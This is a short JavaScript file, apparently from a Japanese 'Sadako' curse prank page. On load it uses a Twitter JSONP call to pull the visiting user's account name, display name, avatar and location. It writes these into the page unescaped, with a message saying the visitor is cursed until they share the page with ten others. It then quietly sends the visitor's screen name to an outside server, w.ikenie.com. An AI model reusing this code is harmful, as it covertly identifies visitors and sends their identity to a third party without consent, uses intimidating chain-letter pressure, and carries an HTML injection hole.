

function getAccount() {
	var url = 'http://twitter.com/statuses/user_timeline.json?count=10&callback=?&nocache='+(new Date()).getTime();
	$.getJSON(url, function(json) {
		twitter_account = json[0].user.screen_name;
		twitter_name = json[0].user.name;
		icon_image = json[0].user.profile_image_url;
		twitter_location = json[0].user.location;
		Sadako(twitter_account, twitter_name, icon_image, twitter_location);
	});
}

function Sadako(twitter_account, twitter_name, icon_image, twitter_location) {
	txt = 'こんにちは<img src="'+icon_image+'" height="100"><img src="'+icon_image+'" height="100"><img src="'+icon_image+'" height="100"><span class="twitter_name">'+twitter_name+'</span><img src="'+icon_image+'" height="100"><img src="'+icon_image+'" height="100"><img src="'+icon_image+'" height="100">さん　';	
	txt += 'たった今あなたに取り憑きました　';
	txt += '他の10人にこのページを紹介するまで呪いは解けません';
$("#main_message").html(txt);
	
	var url = 'http://w.ikenie.com/sadako/norou.php?callback=?&nocache='+(new Date()).getTime();
	var params = jQuery.param({
		user: twitter_account,
		taken: taken
	});
	$.get(url+'&'+params, function(message, status) {
		$("#debug").html(message);
	});

}

$(function(){
	getAccount();
});
